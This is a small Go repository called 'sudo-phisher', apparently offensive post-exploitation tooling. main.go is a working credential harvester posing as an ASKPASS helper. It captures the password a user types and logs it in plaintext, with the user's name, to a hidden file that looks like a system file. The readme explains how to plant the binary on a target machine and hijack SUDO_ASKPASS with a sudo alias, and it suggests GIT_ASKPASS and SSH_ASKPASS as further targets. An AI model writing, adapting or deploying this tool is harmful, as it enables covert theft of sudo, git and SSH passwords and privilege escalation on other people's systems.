├── go.mod ├── go.sum ├── main.go └── readme.md /go.mod: -------------------------------------------------------------------------------- 1 | module gitlab.rule10.net/audibleblink/sudo-phisher 2 | 3 | go 1.14 4 | 5 | require ( 6 | github.com/ilius/go-askpass v0.0.0-20200508084844-f833acf6c50c 7 | golang.org/x/sys v0.0.0-20200331124033-c3d80250170d // indirect 8 | ) 9 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/ilius/go-askpass v0.0.0-20200508084844-f833acf6c50c h1:frmEdw7vhrPymfKHMB2/jqmiyVmFKViXqnIqc5lvAZs= 2 | github.com/ilius/go-askpass v0.0.0-20200508084844-f833acf6c50c/go.mod h1:2eDg1LZXw0dZI8Bqztt3I58ST+RAJ71hjjpFyLFeqNQ= 3 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 4 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 5 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 6 | golang.org/x/crypto v0.0.0-20200429183012-4b2356b1ed79 h1:IaQbIIB2X/Mp/DKctl6ROxz1KyMlKp4uyvL6+kQ7C88= 7 | golang.org/x/crypto v0.0.0-20200429183012-4b2356b1ed79/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 8 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 9 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 10 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= 11 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 12 | golang.org/x/sys v0.0.0-20200331124033-c3d80250170d h1:nc5K6ox/4lTFbMVSL9WRR81ixkcwXThoiF6yf+R9scA= 13 | golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 14 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 15 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/user" 7 | "time" 8 | 9 | "github.com/ilius/go-askpass" 10 | ) 11 | 12 | var filename = "/tmp/.font_unix" 13 | 14 | func main() { 15 | currentUser, err := user.Current() 16 | check(err) 17 | 18 | pwd, err := askpass.Askpass(os.Args[1], false, "") 19 | check(err) 20 | 21 | entry := fmt.Sprintf("%s | %s | %s\n", time.Now(), currentUser.Name, pwd) 22 | err = fileAppend(filename, entry) 23 | check(err) 24 | 25 | fmt.Println(pwd) 26 | } 27 | 28 | func check(err error) { 29 | if err != nil { 30 | os.Exit(1) 31 | } 32 | } 33 | 34 | func fileAppend(filename, data string) (err error) { 35 | f, err := os.OpenFile(filename, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644) 36 | if err != nil { 37 | return 38 | } 39 | defer f.Close() 40 | 41 | _, err = f.WriteString(data) 42 | return 43 | } 44 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | A logging ASKPASS binary 2 | 3 | ## Usage 4 | 5 | Currently I'm baking in the logfile location since pipes and args are used by ASKPASS consumers. 6 | Maybe adding the reading of ENV variables makes sense. PRs welcome. 7 | 8 | You can modify source with the desired log path and recompile, or use the linker to override at compile-time 9 | 10 | ```bash 11 | go build -o phisher -ldflags=-X main.filename=/tmp/sudo.log 12 | ``` 13 | 14 | Upload to the machine whose sudo password you want logged and modify the user's ENV: 15 | 16 | 17 | ``` 18 | export SUDO_ASKPASS=/tmp/phisher 19 | alias sudo='sudo -A' 20 | ``` 21 | 22 | 23 | Other potential targets variables 24 | 25 | ``` 26 | GIT_ASKPASS 27 | SSH_ASKPASS 28 | ``` 29 | --------------------------------------------------------------------------------